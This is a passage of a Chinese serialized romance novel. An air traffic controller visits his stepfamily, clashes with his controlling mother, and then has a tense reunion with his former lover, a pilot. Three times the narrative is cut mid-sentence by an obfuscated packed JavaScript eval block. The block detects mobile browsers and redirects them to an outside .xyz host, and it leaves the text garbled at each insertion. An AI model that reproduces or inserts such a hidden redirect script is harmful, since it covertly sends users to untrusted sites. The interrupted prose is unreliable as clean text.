他的双手紧紧攥着宋觉骁的衣角,这次他一句话都没反驳,乖乖点头应下。宋觉骁松开他,林序川抬起头,看着他想扯个笑,但终究有点笑不出来,最后还是放弃了,只能闷闷地说了句,“我知道了。” 见他这副模样,宋觉骁那是一百二十万个不放心,想再说点什么,可张了张嘴,话到了喉咙口,还是咽了下去。 算了,这会大抵说什么都没用——十二年了,还是这么个别扭的性子。 等送走了宋觉骁,林序川呆坐在沙发上,目光空洞地盯着地面出神,直到身边的手机再次响起突兀的铃声,林序川像是被吓了一跳,条件反射般地快速扭头,却在看到来电显示的时候,默默松了一口气。 陈永,他的继父。 林序川拍了拍脸,吐了口浊气,整理好情绪才终于拿起手机接通了电话,但电话那头的声音,是个略带稚气的女声,“川哥?你干嘛呢这么久才接。” 是他的继妹,陈梦瑶。 “怎么了?”此刻,林序川的脸上终于挂上了几分笑意,“瑶姐有何吩咐?” “吩咐没有,”电话那头的陈梦瑶今年14岁,上初二,人小鬼大地叹着气问:“我听永哥说,茵姐又骂你了?” 林序川闻言微怔,牵强地笑了笑,语气颇有些无奈地数落她,“小孩子家家的,少叹气,不吉利。” “我这还不是关心你……这么大个人了,也不让我省心!” 被个小自己一轮还多的妹妹骂了,林序川也不生气,附和着应是。 陈梦瑶又说:“茵姐前两天遇到那个人了,这两天情绪不稳定,你又好久没打电话来。” 林序川垂眸盯着地面,轻声“嗯”了一声,还是解释了一句,“这几天太忙了……明天我回去一趟吧。” 他来虞城也有半个多月了,刚入职事情比较多,一直也没找着空回去。 “你要回来?”一听他说要回去,电话那头的小姑娘音调都拔高了,四个字,听着满是欣喜。 “今天倒班,明天休息。”听着她那欢快的语调,林序川的心情似乎也好了两分,“明早我回去一趟,晚上再回。” “好呀!那我让永哥明天给你买好吃的!” “好。” “那你几点回来啊?诶,你那有什么特产没有?虞城好不好玩,改天你带我去玩玩呗?还有还有……” 小姑娘像是打开了话匣子,逮着林序川问东问西地唠了好一会才肯挂电话。 陈梦瑶也是个可怜的,据说当年他爸妈离婚的时候她才一岁多点,她妈妈嫌弃陈永太老实没出息,离婚连孩子都没要。 林序川当年跟着林牧茵到陈家的时候,四岁大的陈梦瑶看到他第一眼就喜欢得不得了,扎着两个小辫子,满是胶原蛋白的小脸蛋软乎乎的,大眼睛水灵灵地望着他,张着手冲着他喊:“哥哥,抱!” 虽然他后来搬出去自己租房子住了,但比起母亲和继父,那个家里跟他关系最亲近的,似乎就是这个比他小16岁且毫无血缘关系的妹妹。 在那个家里,有些话他没法说,有些情绪也不能表露。 唯独是在妹妹面前,从小就机灵的陈梦瑶小朋友,似乎每次都能精准捕捉到他的不开心,然后默默地跑来安慰他,逗他笑。 瑶姐打小就说,他们是革命战友,情比金坚,友谊长存。 嗯……也不知道她那会上哪学来的这些词。 林序川回了卧室又躺回了床上,盯着天花板发呆。 他想再睡一会的,可怎么也睡不着。 不知不觉,思绪又神游回了一个多月前。 - 年后,三月初的时候,林序川复查结果出来,复岗检查通不过,就只能调岗。 管制分很多种,每个科室职责不一样,管制模式也有差别,调岗就意味着他得重新花时间熟悉。林序川倒是没觉得有什么,调到哪个岗都行,他只是不想下一线。 复查结果递交上去没两天,单位领导找他谈话,问他愿不愿意调任去虞城进近。 林序川本来还挺犹豫,因为知道林牧茵一定不会同意,他也一直没敢提。但后来去考试的时候遇到师兄江宁,听说江宁在虞城机场,而且他们机场是真的缺人,林序川有点心动,跟师兄讲了他可能会调任的事,江宁一听还挺开心,似乎对他调任的事特别期待。 可话说出去了林序川才反应过来,他还没过那最大的一道坎。 于是,那天考完试回家吃饭的时候他就提了一嘴,果不其然,林牧茵不同意。 母亲的反对本就在他意料之中,但让林序川没想到的是,林牧茵在听到他说调任的地方是虞城之后反应巨大,甚至气得摔了碗筷,林序川愕然之下,只好闭了嘴。 当年他爸妈离婚的事闹得很不愉快,林牧茵因为丈夫凌衡出轨,甚至一度患上了抑郁症。她本就是女强人的性格,因为离婚的打击让她的性格变得格外极端,控制欲也极强。 在她的认知里,丈夫脱离了她的控制,所以儿子不能! 刚开始的那几年,林序川几乎事事都顺着她,深怕她做出一些什么极端行为。久而久之,他就养成了在林牧茵面前百依百顺的性格。 起先林牧茵对他的要求还只是不允许他离开自己的视线范围,林牧茵再婚后,在陈永的照顾下,她的病情有所好转,关注点也从他换到了陈梦瑶身上。 她的注意力转移了,但依然不允许林序川离她太远,她可以同意林序川搬出去住,但规定了他每周都得给家里打电话报平安,每个月都得回家住几天。 这也是为什么,林序川笃定林牧茵一定不会同意他调任的原因。 那天之后,陈永私下跟林序川说,林牧茵是因为前些时候又遇到了她那个前夫,也就是林序川的生父。听说那人现在在虞城,所以才会在听到他说调任虞城以后,反应剧烈。 林序川了然,调任的事也只能暂且不提。但这事也不能一直搁置,毕竟时间不等人,领导给他思考回复的时间是到三月中。 于是,林序川做了一个决定,这十二年来,他第一次为了自己,和林牧茵大吵了一架。 最后的结果,自然是不欢而散。 本来因为腿受伤的事,陈永不放心他一个人在外面住,就让他搬回了家。现在跟林牧茵大吵了一架,他又搬回了自己的小出租屋。 租的房子离家有些距离,但好在交通方便,两头的小区门口就有公交站可以直达,陈梦瑶经常一个人坐着公交车跑来看他。 跟林牧茵吵架那天,陈永带着陈梦瑶报名去了,回来才知道他们母子俩吵架的事。陈梦瑶跑来看他,说会帮他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411396|184594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劝林牧茵。林序川那会正赌气呢,语气也不怎么好。 但陈梦瑶毫不在意,拍着他的肩膀,笑盈盈地说:“永哥让你1号回家,他要给你过生日。” 四月一日,愚人节。 林序川的生日。 可自从当年爸妈离婚后,他就再也没有过过生日——因为林牧茵不喜欢那天。 后来再过上生日,得是陈梦瑶大些懂事了的时候,她总缠着陈永问,“为什么我每年都能过生日,为什么哥哥从来不过生日?” 她缠着陈永要给林序川过生日,陈永怕林牧茵生气,也没敢松口,陈梦瑶就去缠着林牧茵问,最后不知怎么,倒真的让她成功了,林牧茵没同意也没拒绝,算是默认了。 自此以后,每年的四月一日,陈梦瑶都会跟陈永欢天喜地地帮他过生日。 林序川看着那张如花般娇艳的笑脸,顿时泄了气,低着头喃喃,“对不起啊……” 陈梦瑶坐到他身边,胳膊往他肩膀上一搭,十分大度道:“没事,姐原谅你了!” 那天陈梦瑶一直赖到晚上陈永来接她才肯走,连晚饭都是在他这吃的。父女俩临走的时候,陈永跟陈梦瑶都说会帮他劝林牧茵,让他放心去虞城。 林序川叹气,点头应是。 反正这个架也吵了,都到这一步了,不去不合适。 于是,他当天晚上就联系了领导,敲定了他调任的事。 四月一日那天,林序川上午去了医院复查,医生说以后可能会有点后遗症,阴雨天的时候要注意防护,避免剧烈运动。 刚检查完出来他就接到了江宁的电话,说原本给他预留的宿舍出了点问题,打算让他去虞城之后直接租他的房子住。林序川自然没什么意见,但挂了电话之后他才想起来,尽管所有的一切都准备就绪了,但他还没有跟林牧茵说调任的事。 上次不欢而散之后,他至今都没有给林牧茵打过电话,也没有回过家。事已至此,正巧今天要回家,林序川是打算趁此机会跟林牧茵好好说说的,他也不想母子俩闹得这么不愉快。 虽然这次林牧茵没有拦着他去虞城,但一说起虞城,林牧茵依然很抵触。可好在她是松了口,林序川也没再说其他的惹她不高兴。 临走前的那个周末,两天陈梦瑶都住在林序川这里,刚巧那两天出了《空中浩劫》新的那一期纪录片,林序川窝在家里看了好几遍。 陈梦瑶跟着他看过一遍还没放在心上,但林序川连着看了两天,跟循环播放似地,陈梦瑶就又跟着看了一遍,顺便留意了一下内容,小脑瓜子灵光一闪,“这个剧情怎么跟你看了好几遍的那个新闻内容一样啊?” 林序川目光专注地盯着电视屏幕,语气听上去也没什么波澜,“因为是同一起事故。” 一年前,陈梦瑶偶然发现林序川一直在刷一则国际新闻,起初引起她好奇的原因,是因为新闻上出现的那个机长哥哥长得特别帅,而且讲英语的声音特别好听。 但帅归帅,好听也不能当饭吃啊!所以在林序川把那条新闻快要盘包浆的时候,她终于忍不住好奇地问他:“是因为这个机长特别帅,才让你看那么多遍?你再多看几遍,那几句英文我都快会背了!” 那会的林序川只是笑笑,没回答她。 如今她再问起,林序川也只是拉着她看了一遍电影《萨利机长》,然后跟她讲解了一下电影故事的内容。陈梦瑶很聪明,立刻就懂了,“那这个026航班的机长,也很厉害呢!” 林序川笑起来,他再次打开手机里保存的那条国际新闻,镜头里的那个男人一如当年的模样,只是褪去了少年的青涩,更多了些成熟男人的魅力,一口纯正的伦敦腔从容介绍着事故经过。 “是啊……他一直都很厉害!” 因为林序川从小就没什么自由,他总说等他以后长大了要去周游世界。 宋觉骁那会就会回他说:“那我以后去当飞行员,争取带你飞遍全世界!” 听见他的话,陈梦瑶好奇地打量他,“川哥,你认识他?” 林序川点头,何止认识啊。 “曾经,他是我除却亲人以外……最重要的人!” 是他青春年少时所有的喜欢! “为什么是曾经?”陈梦瑶不解地发问,“现在不重要了?” “现在……”林序川沉默了片刻,“现在不一样了。” “哪里不一样?” 林序川没答,岔开了话题,“小孩子家家的,少打听!” 陈梦瑶不服气,但也没再继续刨根问底。 要说哪里不一样? 大概,哪里都不一样。 一个月前的林序川想的还是,或许他们这辈子都不会再见了。 又或许,再见时已是物是人非。曾经种种,只能留作回忆。 只在他的回忆里,徒留他一个人记得——这是他至今都深爱的人! 10.哥哥和妹妹 四号一大早林序川就出门了,因为还是五一期间,他怕高速上堵车。 宋觉骁今天复飞,说是早班七点的飞机,林序川早上起来的时候看到他四点多给他发的信息,叮嘱他早上起来记得吃早饭。 这唠叨劲儿,还挺令人怀念的。 林序川看着手机上的信息默默叹气,深觉自己有点受虐侵向。 虽然今天高速还是有点堵,但林序川出门早,到家也就十点多,家里只有陈梦瑶在,林序川到的时候,她正奋笔疾书呢。 “怎么就你一个人?” “茵姐去行里了,永哥买菜去了。”陈梦瑶看见他像看见了救星,“别废话了,快来救救我,我快跟这三角形轴对称的同归于尽了!再做下去,我都快因式分解了!” 林序川手里东西还没来得及放下,就被陈梦瑶拽着去看她的数学试卷,嘴里嘀嘀咕咕念叨着:“一共就放五天,数学试卷就有六张,平均每天我得做1.2张!这还不算其他什么语文英语的,做的我脑子都快爆炸了。” 陈梦瑶理科比较薄弱,比如数学和物理。她向来写作业都是先甜后苦,把会做的都做完了,不会的就找林序川求救。 “五一不是还有一天假呢嘛?”按照以往放假经历,陈梦瑶曾一度扬言,不到放假最后一天绝不碰数学。 今天才四号,后天才开学呢,不像她往常作风啊。 哪料陈梦瑶直接把边上还有两张物理卷子往他面前一放,十分理直气壮道:“那不是你今天回来了嘛!” 林序川满脸无语地看着她,“感情我开三个多小时的车回来是帮你补课的?补课费都没交你就敢白嫖我?” “补课费在路上了!永哥这不是买菜去了嘛。”小姑娘扎着高马尾,白净的脸上一脸谄媚,双手紧紧扒着他的胳膊,跟小猫似地用脸蹭他,嘴上撒着娇,“哎呀,哥~~哥~~~” 那音调转了十八弯都不止,听得林序川一身的鸡皮疙瘩,“说给我做好吃的,原来你打的是这个算盘啊?” “咱俩谁跟谁啊,”陈梦瑶说着还嗔怪地打了他一下,随后一脸坚定气势昂扬道:“我们那可是革命的精神永垂不朽!” “哦呦,学过政治的就是不一样啊。”林序川虽然嘴上嫌弃她,但脸上还是挂着宠溺的微笑,“这都上升到政治层面了?” 陈梦瑶扒着林序川的胳膊晃悠,“哥哥~川哥~我的好哥哥~你就帮帮你可爱的妹妹叭!你忍心看她为了几张试卷搞得面容憔悴头发掉光心绪不宁嘛?她才14岁!她可是祖国的花骨朵啊!她都快枯萎了!哥↗哥↘~~~” “停停停!”林序川被她晃得头晕,恍惚自己像唐僧进了盘丝洞似的,慌忙按住她,“撒手!一会脑子摇匀了。” 这小丫头半个多月没见,脸皮是越来越厚了。 陈梦瑶跪坐在沙发上,抿唇一副可怜模样眼巴巴望着他,林序川只能叹气妥协,“你先把你那几张空白卷子写了,不会的再问我。” “你就不能从头给我讲嘛?”陈梦瑶还想讨价还价,被林序川一眼瞪了回去,只能乖乖回去继续抓耳挠腮地奋笔疾书。 林序川坐在一旁拿了她别的作业检查。 陈永回来的时候就看见他们兄妹俩这副和谐画面,“小川回来了,什么时候到的?” “陈叔。”林序川起身去帮他拎东西,“刚到一会,怎么买这么多菜?” “你这不都半个多月没回来了嘛,瑶瑶说要好好犒劳你,特地让我去买的,都是你爱吃的。”陈永穿着一件蓝白条纹的T恤,寸头显得格外精神,脸上挂着慈祥和蔼的笑,个子不高还有点微胖,一副老实人模样。 听见陈永说那句“犒劳”的话,林序川回头似笑非笑地看着陈梦瑶,客厅的陈梦瑶一脸谄媚地冲他比了个心,“爱你呦~” 林序川:“…………” 这份爱太沉重,不要也罢! 林序川把东西拎去厨房,顺嘴问了一句,“店里不忙吗?今天用不用上货?一会吃完饭我可以去帮忙。” 陈永开了家便利店,就在小区对面,开了也有很多年了,因为这附近有学校,还有两个小区,所以生意还不错。 不过听说当年陈永跟他前妻离婚,也是因为这家店。 “不用不用,这大热天的。”陈永笑着拍了拍他,“上周我招了两个人,现在没什么事我也不去了。诶,你今天什么时候走,要留下吃晚饭吗?” “行,那我吃完再回。” 听林序川应下了,陈永还挺开心,“行!厨房都是油烟,热得很,你去外面等吧,去帮我盯着那丫头写作业去。” 本来林序川还想帮忙来着,结果陈永嫌他碍事,把他赶了出来。 中午吃饭林牧茵也没回来,林序川吃完饭就被陈梦瑶拉着陪她做题去了。 宋觉骁的信息是下午一点多的时候来的,问他在做什么。 除了早上那条叮嘱他吃饭的,这还是今天第一条信息——嗯,看来复飞头一天就很忙嘛。 这才像五一的民航人啊! 林序川默默吐槽,也不知怎么就跟他聊了起来,拍了张照发给他:【陪祖宗写作业。】 宋觉骁:【谁?】 林序川:【我妹妹。】 宋觉骁:【你还有我不认识的妹妹?】 这话说的……总觉得哪里不太对。 林序川想起来好像是没说过他多了个妹妹的事,就顺手解释了一句,【我妈再婚,是我继父的女儿。】 然后,那头隔了很久都没回信。 林序川拿着手机,手指无意义地滑动着屏幕,微微皱眉。 怎么突然不说话了? 陈梦瑶转头就发现他在发愣,一手托着下巴半倚在桌面上,笑眯眯地看着他,“啧啧啧,少男怀春呐?” 林序川回过神,抬手在她脑袋上不轻不重地敲了一下,“你可少看点乱七八糟的吧!” “打我干嘛!”陈梦瑶捂着脑袋,不服气道:“让你教我写作业你还分心,还不让人说了!” “我——”林序川刚要数落她,手机响了,是宋觉骁的电话。 陈梦瑶凑过去看,林序川拿着手机下意识一躲,下一秒就把电话给挂了。陈梦瑶一脸“你有问题”的表情盯着他,“怎么不接啊?谁的电话神神秘秘的,一副做贼心虚的样子。” “写你的作业吧!第二题错了,选C。”说完,林序川揉了把她的脑袋,起身拿着手机去了阳台,徒留陈梦瑶在原地张牙舞爪,“林序川!说了多少遍了,不要弄乱我的发型!” 阳台关了门,林序川充耳不闻。手机上因为他挂了电话,宋觉骁的信息已经来了。 【?】 【挂我电话?】 林序川:【干嘛?有事?】 宋觉骁:【没事就不能给你打电话了?】 宋觉骁:【吃饭了没?】 林序川看了眼时间——13:27。 林序川:【要不您看看时间?】 都快下午一点半了,问他吃没吃饭? 他要是说没吃,岂不是又要被他数落一顿? 宋觉骁:【真好,毕竟我刚吃上。】 宋觉骁给他发了张照片,看样子是在驾驶舱,应该是过场修整中,端着他的飞机餐,是碗重庆小面。 林序川:【众所周知,波音没有小桌板。】 手机那头,宋觉骁回了他一串句号和一个无语的表情包。 林序川看着他的回信, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416510|184594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默默笑了。 阳台移门被打开,陈梦瑶扒在门边一脸不怀好意地看他,“呦呦呦,还说不是少男怀春,要不我给你找个镜子你看看你这会笑得像什么?” “大人的事小孩子少打听,”林序川脸一僵,做贼心虚地收了手机,按着她的脑袋把人推了出去,“写你的作业去!” “哼,谁乐意打听似的!赶紧出来教我!”陈梦瑶一扭头,脑袋后面的马尾一甩,一副傲娇模样就走了。 “你先写,我一会就来。” 林序川回头趴在阳台边,看着手机上的聊天记录出神。 他跟宋觉骁……好像又回到了以前一样。可明明重逢他的时候,他想的是远离他,最好别再和他扯在一起。 可是这几天每次看到他,或是遇到和他有关的事,他就只剩下两个字——忘本。 不论是从前还是现在,他始终做不到真正拒绝他。 【我去教祖宗了。】 【好飞。】 算了,船到桥头自然直,走一步算一步吧。 下午两点多的时候,林牧茵回来了,白色的雪纺衫配黑色西裤,尽管五十多的年纪,依然挡不住她身上成熟女强人的气场。 “瑶瑶——我给你带了转角那家的提拉米苏,前两天你不是说想吃嘛。” 林序川抬头看见她,林牧茵低着头在换鞋,丝毫没有发现他,但看到了门口的鞋,“诶,这鞋是——” 终于,她抬起头,看到了客厅里坐着的林序川,眼神有片刻迟滞,“哦,小川回来了,你回来怎么没跟我说?” 林序川原本脸上的笑意消散殆尽,只不咸不淡地回了一句,“忘记了。” “你这孩子——”林牧茵看着他皱了皱眉,还要说什么时,陈梦瑶起身去接了她手里的袋子,“谢谢茵姐!” 林牧茵冲她笑了笑,却没料到陈梦瑶下一句是,“永哥昨天吃饭的时候说了哥哥要回来的事,你那会忙着回客户呢。早上你出门的时候也说了他今天要回来,说让你早点回家,你哦了一声就出门了。” 她这话像是随口说的,压根没管林牧茵的反应,林序川却看得分明,林牧茵脸上的表情僵了片刻,下一刻勉强扯了个笑,“大概是早上出门太急,没注意。” 林序川就坐在那看着,一句话也没说。 林牧茵看了眼林序川,也没什么反应,进屋放了东西,出来时随口一问,“瑶瑶,你爸呢?” “去店里了。”陈梦瑶正专心拆她的提拉米苏,头都没抬一下。 “那我去看看。”林牧茵将目光看向林序川,叮嘱了一句,“小川你陪妹妹吧。” 林序川点了点头,还是没说话。 家门再次被关上,家里又只剩下他们兄妹俩,陈梦瑶挖了一勺提拉米苏转头递到林序川嘴边,语气不善道:“吃!” 林序川对上她那有点凶的目光,愣了一下,还是凑上去吃了,“你怼她干嘛?” “你能不能别老当受气包?”陈梦瑶翻了个白眼,“我看你怼我的时候倒是挺来劲!” “那不一样……” 那是生他养他赋予他生命的亲妈。 陈梦瑶懒得跟他废话,低头闷声炫了半块提拉米苏就把剩下的塞给了林序川,“不吃了,给你吧,垃圾桶。” 林序川看着手里切角的半块小蛋糕,又抬头看了眼面前趴在桌子上写作业的陈梦瑶,抬手顺了顺她甩到脖子里的头发,声音不轻不重地说了句,“谢谢你啊,瑶姐。” 陈梦瑶写字的手一顿,轻哼了一声,“有我这样的妹妹,你就偷着乐吧!” “嗯,”林序川吃了口提拉米苏,甜腻的奶油混着可可的微苦在唇齿间溢散开,他轻笑了一声附和道:“乐着呢。” 11.回到原点罢 晚上吃过饭林序川就启程要回虞城了,路上还有近三个小时的路程,七点多出发,等他到家都得十点了。 临走的时候陈永帮他打包了不少东西,“你一个人在那边吃饭什么的都上点心,吃什么无所谓,但一定要吃。我给你拿了点你爱吃的零食,你带回去。饼干面包什么的单位里也放一点,饿了就吃两口。” 林序川一脸无奈,又不好推脱,只能任由陈永往他后备箱里塞东西,甚至还塞了半只鸡,“我今早去菜市场杀的一只鸡,刚刚吃了半只,这鸡是人家自家散养的,跟外头激素养大的不一样,还有半只你带回去炖汤喝,我都给你剁好了,你拿回去自己分装一下放冰箱就行。” “好,谢谢陈叔。” “哎呦,他那又不是没有菜市场,鸡都要带啊?”陈梦瑶倚在车边看着她爸一个劲地往林序川车里塞东西,终于有点看不下去了,“得了快让他走吧,再磨蹭,一会到家都得十二点了!” 林序川笑了笑,凑过去勾着她的脖子,“你也不挽留我一下?我刚回来的时候你可不是这副嘴脸啊,这是作业写完了就过河拆桥了?” 陈梦瑶扒着他的手臂笑得一脸谄媚,“那哪能啊,我这不是心疼你回去还要开三个小时的车嘛。”说着伸出手用两根手指给他比了个心,“回去路上注意安全,爱你哟~” “得,承您吉言!”林序川拍了拍她的脑袋,关上了后备箱,回头看了眼站在单元楼门口的林牧茵,“妈——我走了。” 林牧茵点头,也没上前,只说了句,“路上慢点,注意安全。” 林序川应了一声,回头上了车。 黑色的宝马隐入夜色中,只余一串红色的尾灯渐行渐远。 - 五一长假的第四天,出门玩的也都要回家了,正是返程高峰。 宋觉骁今天一共飞了四段,几乎都没怎么休息过,也就下午一点多的时候联系了一次林序川,晚上八点多最后一段回程准备登机前又给他发了个信息。 结果等他两个小时候后落地,才发现手机上没有任何回信。 下午那会给他发信息,林序川说是在陪妹妹写作业,宋觉骁就猜他大概是回金陵了。他没说,他也默契地没有问,毕竟当初知道他在金陵也是个意外。 这个点没回信息,可能是在回来的路上,毕竟明天他要上班,今晚肯定会回来。 于是,他也没多想就回去了。 只是一直等到晚上快十一点了,依然没有林序川的回信。给他发信息不回,打电话关机,他在家里转悠了好几圈有点坐不住,直接就上楼去等在了他家门口。 一时间,仿佛又回到了十二年前,他被迫分手的那天。那种焦急又无力的感觉再次席卷而来,吞没了他所有的理智和思考能力。 他此刻脑子里甚至来不及考虑别的什么原因,浮现的第一个念头就是——他又失联了! 林序川拎着大包小包走出电梯,就对上了宋觉骁那双焦急无助甚至通红的眼睛。 对上他视线的那一刻,林序川瞬间僵在了原地,“你怎么——” 他话都没说完,宋觉骁已经三步并作两步地冲到他面前,双手捧着他的脸,二话不说低头就吻他。 “唔——”林序川被他推着压到了一旁的墙上,手里的东西也散落了一地。 不是,什么情况啊,这还是走廊呢,隔壁有住户的!虽说是晚上,可万一有人出来呢? 宋觉骁松了手,却转而搂住了他,一手垫在他后脑勺的位置,一手揽在他腰上,林序川越是挣扎,宋觉骁抱着他就越是用力。 杂乱无章又略显急切的吻宣泄着他的情绪——是害怕? 宋觉骁好像在发抖? 林序川回过神,放弃了挣扎,眉头微皱,一边承受他的亲吻,一边抬手安慰似地拍了拍他的背。果然,抱着他的人似乎平静了一些,松了嘴却没松手。 宋觉骁低头把脸埋在他肩窝里,胳膊紧紧箍着他的身子,仿佛要把他揉进身体里一般,闷声道:“我、我以为……你又不见了。” 感受到接触肌肤的那一抹湿润,林序川只觉心头一颤。 这是,哭了? “我给你发信息不回,打你电话又关机……我找不到你,我不知道该怎么找你,我以为你又跟当初一样不告而别了。” 宋觉骁的声音带着几分哽咽和委屈,林序川没回来之前,他甚至在反思,是不是自己这两天老缠着他,把他逼急了,他又跑了。 “我——我手机没电了。”面对这样的宋觉骁,林序川又只剩“忘本”两个字送给自己了,心里默默叹气,嘴上却安慰着解释,“下高速的时候走错了路口,绕了点远才回来晚了。” 曾经,林序川也想过,当年和他分手又一走了之,宋觉骁会不会恨他。可这会看到他的反应,他却无比心疼。 当年他的不告而别,想来是给他造成了不小的阴影。 这反应都快赶上PTSD了。 不过这丫的刚刚亲他的时候还真是跟狗似的,啃得他嘴疼。 “你要不先放开我?” 宋觉骁松了手,转而拉着他的衣角,满脸委屈地看着他。 林序川低头瞥了一眼他那拉着自己衣角的极具没有安全感的行为,默默叹气,抬手一指地上落了一地的东西,不咸不淡地命令道:“捡起来。” “哦。” 宋觉骁乖乖去捡,林序川去开门。 进了屋,东西一放,宋觉骁又凑了上去,抓着他两边肩膀把人一转,直接就按到了墙上,低头又吻了上去。林序川甚至没来得及反应,又被人堵了个严严实实,“唔!” 比起方才的急切慌乱,这次的吻温柔而细密,却也有着难以抵抗的诱惑力。 他像是在确认,确认眼前的人,怀里的人,确确实实,真真切切。 理智沦陷之前,林序川还是推开了他,呼吸不怎么匀称地抬头怒视着身前的人,“宋觉骁!你干什么!” 亲一次就算了,这怎么还亲第二次呢! 宋觉骁低头搂着他,就是不肯撒手,“我就想抱抱你……” “抱就抱,谁允许你亲我了!”林序川吼完,又觉得不对,“不是,抱也不行!” 差点被他绕进去! “床都上了,亲一下都不行?”宋觉骁低眉顺眼地偷看他,语气听着可委屈了。 “你——!”玛德!不要脸! 林序川脸一红,咬牙:“松手!” 宋觉骁乖乖松了手,见他脸色微红,心里暗自偷笑——假正经。 林序川瞪了他一眼,直接下了逐客令,“我到家了,你可以回去了!” 赖在他家就是不怀好意! “你带回来的什么,我帮你收拾吧。”宋觉骁一挑眉,对他的话充耳不闻,直接无视,弯腰去拎了刚刚被他随手放在门边的大包小包,径直往里走。 “不是,你——宋觉骁!”林序川都无语了,他那赶人的话这么不明显嘛? 宋觉骁已经十分自觉地帮他收拾起了东西,拿着那半只鸡进了厨房,“鸡你都打包回来了?这鸡看着不错,改天给你炖汤喝吧。” 林序川一口气不上不下地原地跳脚:“…………” 现在是说鸡的问题嘛! 然而,宋觉骁压根当他不存在,林序川翻了个白眼,总不能真的生拉硬拽把他丢出去吧? 况且,他也打不过他。 算了,他爱收拾就让他收拾吧,白捡的劳动力,不用白不用。 他这会是真开了三个多小时的车回来,累得很,也懒得管他了,先进屋找了个充电器插上给手机续了个命。 回来的路上开到一半手机没电了,他不怎么开长途的夜车,上个月来了虞城之后今天还是第一次回去,路况也不熟悉,开错了一个路口,等他发现的时候已经错过了,只能硬着头皮继续开,到收费站问了个路才又开回来。 林序川从屋里出来,宋觉骁已经把他那半只鸡处理好放进冰箱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422251|184594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,“鸡我帮你分装好了,放在冷冻的那层。” 林序川点了点头,表情略带严肃地在餐桌旁坐下,曲指轻扣了两下桌面,“别忙了,你坐,咱俩聊聊。” 他们现在这样的关系很怪异,分别十二年没见过,见了第一面就上了床不说,这两天宋觉骁天天到他家报道,虽然没有更进一步,但这发展也不对吧? 除了那天早上宋觉骁提了一嘴复合的事情被他拒绝了之后,这人这两天好像就跟没说过那句话似的,再也没有提起过,也再没问过当年到底为什么分手的原因。 可他不提,这事不代表不存在,他们现在是分手的关系,不应该这样。 林序川犹豫再三,还是觉得得跟他谈一谈。 可他还没开口,宋觉骁好像知道他要说什么,坐下第一句就十分斩钉截铁道:“你要是想说咱俩复合不可能的话,那我劝你还是别说。” 林序川:“……” 真无语,话都不让人说。 宋觉骁:“我还是那句话,你单方面的分手,我不承认!” 林序川抬头对上他那毫不相让的目光,气得拍桌子,“人家夫妻分居两年就能判离婚了,咱俩都分手十二年了,你这样有意思吗?” 宋觉骁身子往后一靠,就是一副油盐不进的模样,“十二年那也是你单方面!况且,咱俩不是夫妻。” “你耍无赖是吧?” “我就事论事。” 林序川提了口气,默默闭眼——莫生气莫生气,气出病来无人替! 这狗东西打小就是这么个倔脾气,林序川一时也拿他没办法,“那你想怎么样?”宋觉骁跟他犟,林序川干脆也摆烂了,“反正复合是不可能的,你想都不要想!” 宋觉骁拧着眉盯着他,脸上的表情三分生气七分委屈,看得林序川负罪感油然而生,但此时此刻他不能心软,梗着脖子回瞪回去,隐藏在桌子底下的手却紧紧攥住裤子。 尽管他面对宋觉骁的时候总是忘本,但有一件事还是刻在他心里——他们不能在一起! 对视了片刻,林序川那坚定且丝毫不为所动的眼神还是刺痛了宋觉骁的心。他只能率先移开目光,似是妥协了,低着头轻声叹气,“好,不复合就不复合。” 听见他的话,林序川松了手,也暗自松了口气。 可宋觉骁再抬头时,林序川对上他微红的眼睛,心里还是不免咯噔一下。他的声音语气像是祈求般问道:“就算当不成恋人,我们还做朋友也不可以吗?你就非要跟我老死不相往来?” 林序川一噎,一时还真答不出来。 老死不相往来吗? 如果是在重逢以前有人问他这个问题,林序川大约是毫不犹豫地回答“是”。 可是现在……他有点舍不得。 宋觉骁再次出现在他的生命里,就像他失而复得的珍宝。这十二年的思念有了倾诉的对象,可他却不能把这份思念宣之于口,甚至不能在他面前展露分毫。 见他不说话,眼神也带上了几分落寞,宋觉骁神色微动,干脆起身绕过去坐到了他身边,直接握住他的手,林序川没挣开,只是抬头有些恍惚地盯着他。 宋觉骁以一个十分卑微的姿态开口,“你不愿意,我们就做朋友,就还跟以前小时候一样好不好?我只是不想再找不到你……不要让我找不到你就好。” 宋觉骁的声音带着几分祈求的味道,林序川不由想起了刚刚在门外看到他时的模样,那份害怕不像是装的。 见他眼神松动,宋觉骁干脆伸手抱住他,趁热打铁道:“凌凌……我只有这点要求,其他的你说什么我都答应你!” 怎么办,拒绝的话到了嘴边,可他怎么都开不了这个口。 